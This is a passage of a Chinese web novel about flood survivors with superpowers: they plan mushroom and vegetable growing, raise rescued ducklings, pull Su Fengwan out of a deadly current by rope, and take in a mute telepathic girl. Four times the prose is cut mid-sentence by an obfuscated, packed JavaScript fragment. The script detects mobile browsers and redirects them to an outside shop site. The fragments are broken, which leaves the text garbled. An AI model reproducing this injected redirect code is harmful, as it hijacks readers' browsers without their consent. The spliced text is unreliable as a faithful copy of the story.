苏凤晚尴尬笑：“就算是长在菌子窝里也不一定能认全，我也就知道市场上常吃的几种。” 她担心自己的提议不切实际会被萧顺清全盘否句，但是萧顺清却道： “那先记着，蘑菇要是真的能种出来，我们也能有稳定的食物来源。” 人类社会在早期，都是从采集渔猎转变为种植畜牧。 能够种植以得到稳定的食物，这当然是正确的方向。 船依旧快速且平稳的行进中，她们将制定好的计划写下来，粘贴在储存优质食物的舱体外。 【行动守则】 1. 每十小时进行物资搜寻，搜寻时长一小时 2.停船期间进行垂钓 3.优先食用低级食物，未被洪水污染的食物为高级食物 4.优先使用或饮用净化水 【种植计划之蘑菇】 1.找寻食用菌种 2.搜集有关食用菌书籍，认识更多可食用蘑菇 3.建立菌房 【种植计划之植物】 1.搜集普通蔬菜种子，尝试培养 2.搜集存活的野菜，尝试种植 3.固定区域放置栽培中的植物 并没有许多条例，简单明了。 三人共同商议决定，都觉得这些很有必要。 苏凤晚还问了一句： “这样一来，可能会耽误一些时间，你还能按照预想的时间到家吗？” 陈师望可不知道这事，他以为就是在无目的航行呢。 萧顺清沉默了一下，但很快点头回答：“不影响进度。” 越快自然越好，但她升级后，速度远超一开始，路上没有其他意外情况，回到老家也就是24小时之内的事。 陈师望弱弱举手： “那个，我能问问目的地吗？” 萧顺清：“我家，Z市。” 陈师望似乎想起了什么：“Z市市内？还是下属县镇？” 因为他这一问，另外两人都对他投来视线。 上一个对船的行进方向有想法的已经进水了，难不成他也想要“顺便”做什么？ “你想说什么？”萧顺清声音平静冷淡，目光却坚定锁在地图上，一旦他说出顺路救救家人这种话，她就会毫不留情拒绝。 陈师望：“我有个认识的人……” “除了计划中的部分，我不会为了任何人偏离方向。” 陈师望还没说完就被打断，他连忙举手发誓： “没有，不是那个意思！我就是说有个认识的人也是Z市的，就想说是不是挺巧的。我家里面人都早死了，我保证一定听从指挥！” 所以他只是想套套近乎，没想到被萧顺清严防死守了回来。 看萧顺清一副没事别找她的模样，陈师望明智地转身跟苏凤晚搭话。 船上就三个人，他在萧顺清处碰了壁，这不是还有一个人能跟他聊聊天吗。 他先是自证：“我真没别的想法，绝对安安分分待在这儿，那个认识的人就是我前女友而已，你知道的吧，分手后，在我眼里她都属于不存在，别说是去救她了！我见我也不想见啊！” 陈师望偷偷看萧顺清的眼色，什么也没看出来。 苏凤晚冷笑一声：“你前女友也未必想见你。” 陈师望一点没觉得不对，还很赞同：“那是，她肯定当我是个死人。” 虽然是嘲讽他，但好歹苏凤晚愿意跟他讲话了。 这些日子他一个人漂在水上，险些以为自己要变成鲁滨孙了。 鲁滨孙还能到达某个岛屿，放到他身上，就不知道未来还能不能有陆地了。 她们有一搭没一搭的闲聊，多是陈师望说一大段，苏凤晚偶尔回应两句。 行船不知过了多久，直到看见一座高塔隐没在棕色的泥石流间，萧顺清拿出地图，验证自己的方向。 “时间到了，我们停靠。” 三人都看远处那被水流冲垮，像是从天上落下来的泥沙浑水，心中涌起对大自然的惧怕。 那是一座曾经巍峨的山，现如今已经看不出曾经的苍翠青绿。 很快，她们收回视线，按照事先的约定，陈师望在船上钓鱼，萧顺清和苏凤晚去找寻物资。 S省多山地丘陵，她们停靠的地方不是山地，却也地势较高。 萧顺清嘱咐：“小心地面，很容易滑坡。” 土壤被雨水浸透后让人寸步难行，苏凤晚一脚一个坑，再提腿，仿佛脚上灌了铅。 她的鞋子底部扒上厚厚一层泥，每一步都极为艰难。 苏凤晚咬牙想要脱掉鞋子赤足行走，反正这鞋子在泥水里拉扯这么久，估计很快就坏了。 果然，第二步，她的鞋面和鞋底就已经分开了。 再看萧顺清那边，没好到哪里去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571692|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧顺清试着光脚踩在湿软的土里，那软哒哒的触感激起一阵恶心的反胃感，仿佛踩到什么不可描述之物。 “这泥巴能用来种东西吗？” 萧顺清皱着眉头捏了捏完全凝固不了的泥土。 苏凤晚也不是这方面的专家，但她觉得阴干了就能种了，说不定这种淤泥一样的泥巴更好呢？ “好多水生植物都长在这种泥巴里，说不定真可以呢。” 她被萧顺清这么一说，也不嫌弃路难走了。 蹲下身，准备就在这儿装一盆稀泥回去。 萧顺清抬头看了一眼水面上静止不动的船，道：“搬这儿的泥就用不着捧了。” 她手上也有一个桶，在地面搜寻一圈，锁定一个位置，走上前去，将桶放到，让它能够接到从山上流动下来的泥水。 苏凤晚也有样学样。 她们还要继续去其他地方，招呼正在等鱼愿者上钩的陈师望： “你看着这两个桶，别让它们被冲跑了。” 陈师望点头应下，又道：“你们看见什么蚯蚓能不能给我抓点回来，快没鱼食了。” 萧顺清觉得蚯蚓对于她们的种植计划来说也能起到重要作用，爽快答应。 苏凤晚其实挺不喜欢蚯蚓的，想着那种生物蠕动的姿态鸡皮疙瘩都要起来了。 可眼下的情况当然只能忍着。 苏凤晚找到几截断掉的木头，眼尖发现里面好像有黑色的小木耳，惊喜地展示给萧顺清看。 萧顺清嘴角勾了一下。 “好，先裹起来，别被雨冲掉了。” “好。” 萧顺清之前在超市里拿的白色塑料袋很实用，全国都推行环保，好多旅游省份都只提供可降解塑料袋。 提不了重东西，被水浸泡之后几乎立刻降解。 这种塑料袋没有提手，但是更结实。 除了这四节被苏凤晚发现的木头，认为其中有木耳或者其他菌类以外，萧顺清还找到了被冲到山脚的两株野生水芋。 她们判断不了这究竟是海芋还是水芋。 这两种都属于天南星科植物，叶型相似，但是海芋全株有毒，水芋头却是能吃的。 萧顺清只是恰巧知道这两种植物，也不能完全分辨出来。 “带回去，先拿它练练手，要真是海芋，我们注意别沾到汁液。” 苏凤晚自然没意见。 更深入的地方她们进不去，树木倒塌，几乎无路可走。 只能在岸边即山体外围打转寻找。 萧顺清挖了几株不认识的植物，看着是树，但如她所想，她们都不是专业人士，随便种种先练练手，总要总结经验才好。 她正低头挖掘，以保证根系完整时，忽然，耳边传来一阵不同于雨声的细微响动。 14. 生命 萧顺清循着声音找去。 岸边，一棵不知道是被洪水冲过来，还是从山上滚落下来的树，倒塌在水陆交接处。 萧顺清看见了一窝雏鸟。 身上已经有了羽毛，但显然不足以让它们在巨大的洪水下存活下来。 也不知原本是几个，现在总共六只，仅剩四只还在叽叽喳喳叫着，不知说了些什么。 窝上海残留着一点绿色的壳，看着那扁扁的嘴巴，黄黄的绒毛，萧顺清觉得这应该是小鸭子。 她取出一个塑料袋，把四只装起来放在桶里，没有雨水冲刷，它们看着好像平静了些。 黄色羽毛抖落起来，甩出去一些水珠。 萧顺清还在附近找了找，没有找到它们的父母一类，略带失望地离开。 搜寻时间到，萧顺清和苏凤晚赶往船只，先将手上的东西都放在穿上，才去提之前接泥浆的两个桶。 桶里已经接满了，上层是浑浊泥水，下层却是被静置后浓稠的稀泥。 萧顺清倒掉上层，剩下的稀泥也很重，加上脚下路不好走，她咬紧了牙才勉强挪动。 苏凤晚着急地看着萧顺清的身影，她劲儿小，实在是搬不动。 眼看要到时间，她不想耽误开船的计划，只好将泥桶里的泥又倒了些出去。 提着半桶泥上了船，萧顺清看了一眼，只说了一句：“辛苦了。” 然后用之前的水清理身体。 等苏凤晚也坐好，船便开动了。 船一开，陈师望就收起了鱼竿，先是展示了一番自己钓到的小鱼。 “就这两条，先养着？” 没到饭点呢，当然是先放着。 没有人提出异议，陈师望又看了看苏凤晚明显少了许多的泥巴。 道：“下次你叫我呗，我帮你搬上来。” 苏凤晚握紧了手，两秒之后才语气僵硬道：“不用，做好你自己的事。” 陈师望觉得自己好心没有讨到好报，耸肩去一边了。 苏凤晚看着自己被勒红的手，忍了又忍，还是吐出一口气。 她的喉头像是哽着什么东西，可是什么也吐不出来。 陈师望也许是好心，可是，如果他真的帮了她，那她在这条船上的作用好像又被替代了一部分。 陈师望是男性，体力上比她强出太多，明明不应该被这样比较，可她被迫要和他相比。 因为她们在争取活下去的机会，在证明自己在这条船上的价值更大。 陈师望现在还不懂萧顺清真的狠得下心，她只是想要做好分配给她的任务，显得有用。 再无法获得更多证明自己的方式之前，她只希望现在的平衡不要被打破，她需要能够证明自己存在价值的任务。 “唧唧” 苏凤晚被鸟类的叫声吸引，转过头去她才发现萧顺清竟然带回来几只小鸭子。 陈师望刚看见鸭子，便被萧顺清告诫道：“我打算把养大，小心点，别弄死了。” “行行，当然了，这鸭子还这么小，肯定得养大了才好。” 而且长大还能刚下蛋呢！ 这船真是上得太值了，眼看着生活就又盼头了。 苏凤晚看见那鸭子，自告奋勇：“我来照顾鸭子！” 陈师望：“你不是还要种蘑菇？有时间吗？” “天天在船上，没有别的事可做，怎么会没有时间。” 萧顺清也没有把照顾鸭子的事都交给苏凤晚，她还是很看重这鸭子的。 鸡蛋不能放进同一个篮子里，鸭子也是。 小鸭子没有什么分辨度，她端详一会儿，才拿起一只嘴巴上有一块黑色的鸭子，说道： “责任分配吧，我负责这一只，陈师望负责一只，苏凤晚负责两只。” “养得好能有奖励吗？” 陈师望很认真地问。 “要是以后它们真的能下蛋，或者说，真的活到下蛋的时候，可以优先获得自己养的那只下的蛋。” “那我可要好好选选，得选只母鸭子。” 他又看向苏凤晚，脸上挂着一丝讨好的笑：“苏姐，你要不让我养两只？我觉得我能养得活。” 苏凤晚夺过装鸭子的桶：“我养两只。” “行吧……” 陈师望觉得萧顺清这么分配是因为苏凤晚先跟着她，但是也没事，一只两只差别不大。 再说了，萧顺清也说了，还得看鸭子能不能活到那时候呢。 都是从水里捡起来的，还这么小，养起来可麻烦。 天灾之下，他能不能养活自己到那时候都不一定。 虽然各自认领了小鸭子，但没有让它们四只分开，船上就这么大，四只在一起才方便管理。 也能互相取暖。 船上没有取暖设施，苏凤晚从囤积的物品里找到棉布和毛巾，给鸭子擦了水，又做了一个挂在身上的围兜。 四只鸭子挤在围兜里，被她挂在身上，用体温养着，也不耽误她干活。 过一会儿鸭子们又叫起来，应该是饿了。 苏凤晚正好在往泥里放泥鳅，听见之后，抓了一条给它们吃。 陈师望：“害，这鸭子跟鱼抢食物来了。” 蚯蚓还得用来钓鱼呢，苏凤晚看着四只鸭子抢一条蚯蚓抢得快打起来。 只好道：“下次上岸，我抓多一点回来。” 她这么说，陈师望反而不好意思：“不，不是那个意思，那不也有我的一只吗。我申请给它们钓小鱼吃。” 船上的气氛因为养小鸭子的事缓和很多，虽然她们是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571693|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想获得食物，但这不是还没有走到绝境吗？ 小鸭子变成大鸭子，说不定还能自己下水抓鱼。 除了鸭子，苏凤晚带回来的树枝也被存放在单独的地方，萧顺清捡回来的芋头暂时种在泥浆里。 饭点时候，萧顺清也坐得近了一些，方便喂喂自己那只鸭子。 她喂了一小口面包，那只鸭子便自己跑进她腿弯，似乎知道这里暖和。 萧顺清微微笑了下，摸了摸小鸭子毛茸茸的头顶。 话题不知道怎么聊到萧顺清身上。 “你家里只有爷爷奶奶在Z市？” 萧顺清：“还有父母，和姐姐，在另外一个省。” 这个话题对萧顺清而言并不轻松，但是也没有什么不能提的。 “她们在哪儿？” “之前在H省，现在不知道。” H省很早就开始撤离人群，也不知道她们去了哪里。 连是生是死也不知道。 当然，她目前要去找的爷爷奶奶也不知道是否安好。 空气中沉默了，三人默默吃着面包。 过了一会儿，陈师望幽幽叹了口气，看着比萧顺清还要伤心。 苏凤晚纳闷：“你又怎么了？” 陈师望确实想起了什么，连最后一口面包都不想吃了，丢在鸭子面前让它啄。 “我又想起我前女友了。” 虽然没人问他，但他还是说了。 “她毕业之后去了H省工作，也不知道回来没有。” 苏凤晚：“……” 萧顺清：…… 萧顺清不参与这个话题，带着赖着自己不走的鸭子到船头去沉思。 苏凤晚：“你不是说你都把她忘了吗？” “是，是忘了，这不是刚想起来她去了H省吗？” 为了表示自己绝对不会背叛这条船，他还补充道。 “估计都没了，我真就刚想起来。” 没人对他的话表示信任。 但是直到晚上休息时，陈师望还在念叨。 “高中认识的，早就分了。” “唉，其实她人还可以，不过我都把那些事给忘了。” “早知道当时她去H省的时候我就劝劝她了，但是那时候她都把我拉黑了。” 苏凤晚忍无可忍：“你再念叨你这些破事，我就把你鸭子抢了！” 陈师望委屈：“多聊聊天，有助于增进信任嘛。” 苏凤晚：“我厌男。” 陈师望又去看萧顺清。 萧顺清已经快眯着了：“我恐婚恐育恐恋爱恐两性相关。” 陈师望：…… 陈师望的小声嘀咕被雨声掩盖，没人知道他抱怨了什么。 第二天，太阳照旧没升起。 15. 意外 看见状似从中间被劈开的两座建筑时，萧顺清险些激动得站起来。 快到了！ 她们终于进入Z市地界了！ 这是Z市著名的双子建筑，两边各有十七层楼，底部是一个近球形商场。 外观上，整体更像是一个胜利的手势。 如今，露出水面大半的楼层也宣告着它的暂时胜利。 因为这里的高度，胜利大楼一定聚集了许多人。 萧顺清一路都是通过地标建筑来确定自己有没有走错方向，但一直以来，都在避开人群。 这次也是同样。 她确定方向正确无误，便驶船向另一边。 “附近没有适合停靠的陆地。” 萧顺清看着周围的情况。 说出这句话不只是在陈述周围的环境，也是在征求另外两人的意见。 如果要坚持每日行动计划，那现在就要下水搜寻其他人遗落的物资。 但看着茫茫一片，滚滚洪水的城市，现在下水，应该不会有什么收益。 陈师望根据自己多年钓鱼的经验端详水面。 “我觉得这里应该不会有鱼。有也钓不上来，水流好急。” “我们停靠在人少的建筑周围，然后游过去？” 萧顺清的目光看向了苏凤晚。 苏凤晚局促一笑：“如果距离不远……可以试试吧。” 她越说越没有底气，声音越来越虚。 其实她真的会游泳，但那是洪水来临前，她就是在游泳池里泡泡，从来不会进大自然水域，在海边游泳一定会套求生圈。 就算给她十个胆子，她也不敢在这样滚滚流动的洪水里游泳啊。 萧顺清也轻轻叹了一口气。 不是在对苏凤晚叹气，而是感叹这水流的凶猛。 她觉得正常人应该都不能打包票在这种水流里能游过去。 她自己也是。 也不知道这片水域究竟有什么问题，看着就这么湍急，像是从什么高点落下一样。 明明这已经是城市内部，地势应该相对平缓。 她没有耽误时间，还是做妥协前的最后尝试。 “我先在水下试试，你们在船上待着。” 另外两人还没反应过来，萧顺清已经脱掉身上碍事的东西，抓着船边慢慢下水。 陈师望惊到：“别啊，也不一定非要在这儿找物资，咱们开近一点进楼也行啊。” 苏凤晚拍了他一巴掌，她跟萧顺清都经历了一开始的混乱。 因为看见有船，主动跳下楼的，把别人扔下楼的，还有上了船想要对她们动手的。 陈师望说的进楼当然可以，但是她们可能会有收获，也可能会有更多的麻烦。 如果还导致其他人为了上船出事，也让人觉得，不杀伯仁伯仁却因我而死。 “要真不行再说。” 苏凤晚紧张地看着萧顺清下水的动作，生怕她有什么闪失。 闪失当然是没有的。 萧顺清不会轻易拿自己的生命开玩笑。 刚一下水，她便感受到水流巨大的拉扯力。 水体达到一定的大小，可能只是一个水浪，便能将人冲出去几十米远。 她感受了一下，别说游过去，就算是抓住静止不动的船，维持住身体稳定也很困难。 陈师望看了一会儿，忽然道：“是不是应该我下水试试比较好。” 他语气里有点心虚。 萧顺清已经实验完毕，从水里利落上船。 向他投过去一个视线。 陈师望闭嘴。 下水找物资的路被堵死，三人互相对视，选择放弃的心已经慢慢升起。 “这次计划暂缓，下一次我会找到更容易靠岸的地方。” 达成共识，正准备离开这片区域，船身却诡异的晃动一下。 是水。 地下的水不知被什么搅起翻腾的浪，来得猝不及防，萧顺清在那一瞬间也险些翻出船去。 要在水面停止需要和水流的力量达成平衡，突如其来的意外，使得船失去平衡。 萧顺清急忙固定船只，可是地下不知情况，水浪一会儿大一会儿小，船的晃动加剧。 “你们抓紧！我冲出去！” 萧顺清厉声道。 双眼盯着水面，除了她们的船下，船身周围大约十米范围内都在泛起层层水纹。 一圈一圈，像是什么东西落入水中，或者说，什么东西要从水中冲出来了。 萧顺清判断是个怪物，当机立断便要驱船离开。 然而她向前加速的想法刚刚落实，水里的东西似乎又改变了意图，船底传来一股巨大的推力，她们被颠得飞起来。 “苏凤晚！” 苏凤晚体重较轻，颠簸之中也在努力稳定身体了。 但是此刻萧顺清连控制船保持不动都很难做到，没有余力再让船生出安全栏。 苏凤晚被高高抛起，落水之前只来得及抓住船上一卷麻绳。 喊她名字的是陈师望。 苏凤晚落水不过眨眼之间，她整个人就被水流卷出去几米远，陈师望猛地扑过去，却抓了个空。 身下，绳子快速滑走的摩擦感提醒了他。 他赶紧压住绳子，又绳子疯狂延长。 手臂上缠绕几圈，增大阻力。 他大声喊着，希望苏凤晚能够听到。 “苏凤晚！抓紧绳子！！” 刹那间，绳子似乎已经到了头，他面目狰狞，确信那头的苏凤晚抓住了绳子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571694|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为他的胳膊都快被勒断了。 陈师望两只手都颤抖着，因为洪水的拉力绷直。 萧顺清稳住身体，也发现了苏凤晚落水消失。 她趴下前行，很快和他一起拽住了绳子。 “你能，把绳子变短吗？现在。” 萧顺清说话都费劲。 因为精力无法集中，她的船都已经开始出现打转的情况。 绳子变短，可能那头的苏凤晚就能顺着绳子收缩回来。 陈师望勉强抬了下头，让萧顺清能够听见他的声音。 “歘一下就收了，我也没试过拿它救人啊！” 萧顺清呼出一口气，手脚并用把绳子几乎绑了全身，陈师望也是两只手都快折了。 这样的长度是他的极限。 但是绳子越长，她们受到另外一边传过来的拉力就越大。 陈师望悲愤道：“这不科学啊！我溜鱼都是放绳就能轻松一些啊！” 萧顺清眼前一亮：“你抓住别动！” 她们现在僵持不下，是因为两头都崩得太紧，现在绳子没法松，那她们加速靠近效果是一样。 萧顺清集中精力感受船的晃荡，不知不觉间，萧顺清将船身缩小一些，以获得对船身方向速度更大的控制。 然后，在某一次水流将她们送向绳子拉扯方向时，船冲出几米远！ 萧顺清：“拉绳子！” 她和陈师望趁着船往前时将松懈的绳子卷了三转。 当然，很快，她们又被巨力推了回去。 两次之后，萧顺清隐隐能看见在水里沉浮的一个人影。 陈师望也看见了，感觉自己终于见到了曙光。 “快了快了，陈师望坚持住，坚持住。” 他碎碎念着给自己打气。 因为水的拍打，她们脸上都是水珠，浑身湿淋淋，士气上两人都知道自己出了一身汗。 萧顺清一直在控制船，只要船不消失，她就是一直在使用异能。 对抗变幻莫测的洪流，她需要更精密的控制，这边还要思考怎么才能救下苏凤晚。 陈师望同样如此。 绳子长度需要异能维持，他也正在一直使用异能。 “苏凤晚！” 萧顺清几乎要扯破嗓子，可是没有回应。 最后一次，借着惯性，萧顺清一把套住苏凤晚，将她拉了上来。 人出水之后，萧顺清才看清哪里不对。 这不是苏凤晚！是个陌生女人！ 眼看因为救上来人，松了一口气的陈师望准备松开绳子，萧顺清立刻按住他。 “等等！这个不是苏凤晚！” 她们同时拉扯绳子，那头的力道缩减了一大半，但是仍旧存在。 那头还有人？ 16.无声 刚刚憋着的救人的一股气，在忽然松懈之后难以聚起。 萧顺清拉着绳子的手都在抖，她已经坚持不住了。 陈师望一句话也说不出来，痛苦地蜷缩起身体。 还救吗？ 这个念头不断浮现在她们的脑海里。 实在是那股拼命的气势已经消失不见，现在还拉着绳子全凭意志力。 可是她们没有办法和彼此说出疑问的话，就算是对视也不敢。 她们知道，一旦看见对方眼里的犹豫，自己就绝对会放弃。 萧顺清低头冷静了一会儿，冰冷的目光锁定了她救上来的那个女孩。 约莫是个刚成年的女孩，衣服颜色和苏凤晚很像，都是白色，所以她才会认错。 但是一切的起因，是这个女孩抓住了绳子。 被萧顺清看着，女孩用力咳嗽吐水的动作一顿，瑟缩地颤抖了一下。 她没有说话，害怕地看着萧顺清。 她听见那刺耳的话：“下去。” 下去？ 为什么！她不要！ 她好不容易上船的！ 被赶下去就是死，她不想真的死掉！ 女孩拼命摇头，跪在船内祈求，双手合十泪流满面，但始终没有开口说一句话。 萧顺清的手又开始抖了，她咽了咽口水，可是喉咙依旧很干涩。 她向女孩靠近了一步。 女孩浑身都在颤抖，哭泣的面庞更加令人心碎。 她的嘴唇不断翁张，哭嚎声终于盖过雨声被听见。 呜呜丫丫的声音，证明了这个女孩是个哑巴。 萧顺清喘了几口粗气，握紧拳头闭上眼睛。 她睁开眼，语气比起之前更加冷，将绳子踢到女孩面前，道： “不想现在就滚下去，那就抓紧绳子。” 女孩扑上去抓紧绳子，似乎抓住了救命稻草。 她的手也被磨得血肉模糊。 但是她忍住了眼泪，学着萧顺清一样将绳子绕在身体各处，增大摩擦力。 又是一场拉锯。 萧顺清狠狠砸了下水面，她也要崩溃了，一向冷静的嗓音里竟然带着些哭腔：“你这破绳子到底有多长！” 为什么她们这么久了，还是看不到另一头的人！ 为什么她们这么努力了，还是看不到绳子的尽头！ 陈师望的嗓子像是被什么东西碾过，脸上充血，额头的的青筋暴起，让他看着像能吃人。 “我，我好像，要升级了……” 他的眼睛开始虚无，身体的疼痛从四处涌来，但他也分不清是异能升级的疼，还是被绳子勒出的疼。 萧顺清浑身都被震了一下。 她当然知道异能升级中想要控制住异能有多难。 要是这个时候收了绳子，所有功夫都白费了。 萧顺清强迫自己冷静下来，一个浪将水拍在她脸上，她深呼吸两下。 仅仅两秒，她终于想到办法。 一双手在身上各处解开凌乱的绳子，又将它们一圈一圈绑在四肢和腰腹。 就像是个被绳子包出来的茧。 “你听好，一定一定要记住，不能收回异能，要收也只能收我们这边知道吗？！你听清楚！” 她用力拍打陈师望的脸，直到他清醒着点头保证。 萧顺清将那个哑巴女孩叫到船边。 “给我拉好绳子，要是放手，我会让你后悔没死在水里！” 说完，萧顺清闭眼闭气，从船边下水。 她绳子上有一定拉扯感，但她讲绳子均匀的绑在身体各处，疼痛减弱了很多。 沉入水面后，萧顺清在船底自己触手可及的地方都造出把手来，像吊单杠一样从一头挪到另一头。 终于，她冲出水面，飞快上船，然后重复了三回，将绳子绑在了船身上。 现在，绳子那头的力量会让她们整体连同船一起靠近。 萧顺清脱力，检查陈师望，他也一副马上要死的样子。 萧顺清只能命令那个女孩：“拉！” 她们共同拉扯着这一头的绳子，浪在身后，她们便冲过去。 浪在前头，她们就拉紧绳子。 船上绕过几条绳子，让船往一边大幅倾斜，但是那绳子也能阻挡船上的人因为惯性飞出去。 终于，萧顺清又拉上来一个人。 这回，终于是半死不活的苏凤晚。 她甚至来不及说什么，便大口喘着粗气，咳出许多水来。 这也证明她是真的会游泳，至少闭气到现在还没有昏厥。 成了。 萧顺清猛地脱力，几乎是瘫在船上，她想说些什么，一个也说不出来。 好消息是，经过她们的折腾，船已经渐渐远离了水面波涛汹涌的中心范围，洪流依旧凶猛，但不再上上下下颠簸。 萧顺清有一瞬间失去了对船的控制，洪水瞬间将船冲出十几米。 她慢慢控制住船，让它慢点被冲走，至少别翻船。 至于对抗水流方向逆流而上，她暂时做不到了。 “绳子，收了吧。” 萧顺清坐起来，敲了敲陈师望，过了一会儿，那绳子才以人捕捉不到的速度收缩。 最后耷拉在陈师望身上，跟他一样一动不动。 苏凤晚缓过来一点，便急忙过来查看情况。 “他昏过去了！” 萧顺清扫了一眼，已经没有精力管他了。 “他在升级。” 至于昏过去，应该是多重原因作用，但她又不是医生，没办法来联合会诊。 苏凤晚周身很多伤口，但是看着因为救自己而半生不死的两人，叫不出一点疼。 她鼻子酸涩，想要道谢，却觉得三言两语太过浅薄。 她低声一遍又一遍说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575382|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“我会报答你们的，我会报答你们……” 苏凤晚解开最后缠绕在陈师望身上的绳子，把他脱臼的手臂接回去，其他的伤她也检测不出来。 毕竟她也不是专业医生。 船上安静下来，苏凤晚在默默流泪，用稀少的药物处理陈师望身上的伤口，陈师望躺在船舱不时痛吟。 萧顺清躺在自己的位置上，调整着身体的疲惫，喝了口苏凤晚给她打开的葡萄糖。 她再不尽快恢复体力，这船就要被水冲到不知哪里去了。 船上，还有一个人被她们忽略了。 哑女尽量缩在角落，免得她们又想起来处理掉她。 但她想多了，既然当时没狠下心，现在也不太可能狠得下心。 救都救了，还能怎么办。 萧顺清当时被努力白费，和对方可能抢占了苏凤晚活着机会的愤怒冲昏了头。 现在理智回归，如果这人没有不好的心思，她也不会闲得没事非要弄死她。 不知过了多久，萧顺清终于坐起了身子，环顾着四周，那栋胜利大楼还能被看见。 远处的水面，巨大的水泡翻涌，像是烧开的水一样。 这水底究竟是出了什么事，难道是有怪物在底下翻身？ 萧顺清不清楚，她从散落船舱的杂物中找到地图，想要重新规划路线。 船内到处都是散落的东西，这些也不是全部。 刚刚那接连不断的波折，人都能被颠飞，更别说那些死物。 苏凤晚给陈师望处理好大部分伤口，才想起来要收拾船内的东西。 “鸭子！” 她惊呼一声，在角落找到它们时猛地松了口气。 还在，一个没少。 鸭子们显然吓坏了，但是还小，不会乱飞。 哑女怯生生靠近，张嘴发出啊啊的声音，指了指自己又指了指鸭子。 苏凤晚没有看懂，但不妨碍她将鸭子抱在自己身上。 “不能给你。” 就算是真帮忙也用不着。 苏凤晚没有权利反对船上加人，但她表达自己的排斥也没有人能拿她怎么样。 果然，船上除了哑女本身，其他人都没有任何劝说的意思。 主要是萧顺清，她懒得管。 见此，哑女尴尬收回手，缩在角落里流泪。 苏凤晚清点好剩下的物资，做好记录。 看着几乎少了一半的东西愁容满面。 “怎么办？我们要看看附近的建筑物里能不能找到补给吗？” 萧顺清仰头活动了一下筋骨： “还不知道这里的水流为什么这么诡异，或许是因为建筑群间的缝隙有大有小？先离开吧。” “啊啊！”哑女拍起手来，吸引她们的注意力。 拍着胸膛示意自己，又指着水面，不断拍打。 清醒的二人一时不解其意。 17.绕梁 “什么意思？” 苏凤晚疑惑地问：“你会写字吗？” 她们又记录的纸笔，见哑女想要表达什么，她便递了出去。 哑女如获至宝，接过之后认真写到。 “水底两座楼塌了，水流就变得很快，好多人淹死了。” 她展示给两人看，她们便也明白了水底的事。 高楼在水里倒塌，不亚于用巨型搅拌棒搅动河水，也像是丢了深水炸弹。 水面迟早会变得平静，但在那之前，水里的其他建筑会不会出事也不一定。 看见她们点头，哑女又写了起来，边写边迟疑地看她们。 等到哑女写完，她们才明白她犹豫的原因。 “我很会潜水，可以闭气十五分钟，如果你们需要找物资，可以让我去，但是，我想不被赶下船。” 那个闭气时长震惊了两个清新的人，有一瞬，她们怀疑是不是这个哑女的异能能够提升关于这方面的能力。 但是很快，她们发现哑女简直坦诚无比。 “我有异能是心灵沟通，一百米范围内，我可以和你们保持联络，你们可以用刚刚的绳子绑在我身上，我在水下说要上来，你们就拉我上来。” 她竟然真的有异能！ 而且这个异能太有用了。 萧顺清也忍不住追问：“你的异能是单向的还是能够互相对话？你直接展示一下吧。” 哑女点点头，闭上眼睛，应该是为了集中注意力。 过了一会儿，萧顺清耳边响起了她自己的声音。 “你好。” 萧顺清浑身汗毛都竖起来了。 这能力，装鬼比较实用吧！ 竟然是用对方自己的声音传话，太诡异了。 萧顺清皱着眉头，忍着毛毛的不适感，在心中对她道： 如果你能听见我在说话，左手比个大拇指。 哑女比了个大拇指。 然后“萧顺清”：“可以了吗？” 萧顺清连忙叫停：“好，行了，够了。” 看苏凤晚很好奇，她指了指对方，对哑女说道：“你在她身上试试，同时只能连一个人？” 哑女还没收回自己的能力：“一次只能连一个，以后升级了，应该就好了。” 萧顺清表示了解。 苏凤晚很快也受到了自己声音的摧残，那种你能听出来是你的声音，但绝对不是你说话的语气，也完全不是你在讲话的感觉，确实很诡异。 但是很有用。 苏凤晚觉得，有价值的人值得在留在船上。 她想表示一下欢迎，张嘴却不知道她的名字。 “我叫苏凤晚，你可以直接叫我名字。你叫什么？” 